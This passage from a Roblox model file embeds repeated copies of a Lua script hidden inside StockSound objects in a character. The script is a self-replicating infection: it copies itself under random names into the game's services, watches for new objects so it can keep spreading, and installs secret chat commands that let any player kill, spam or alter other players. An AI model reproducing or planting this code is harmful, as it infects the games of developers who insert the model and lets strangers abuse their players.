plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Humanoid" referent="RBX373">
						<Properties>
							<float name="Health">100</float>
							<bool name="Jump">false</bool>
							<float name="MaxHealth">100</float>
							<string name="Name">Humanoid</string>
							<bool name="Sit">false</bool>
							<bool name="Strafe">false</bool>
							<Vector3 name="TargetPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="WalkDirection">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="WalkRotationalVelocity">0</float>
							<float name="WalkSpeed">16</float>
							<Ref name="WalkToPart">null</Ref>
							<Vector3 name="WalkToPoint">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX374">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">4szj7rd3c</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX375">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">nxspf</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX376">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">oayj</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX377">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ig51b</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
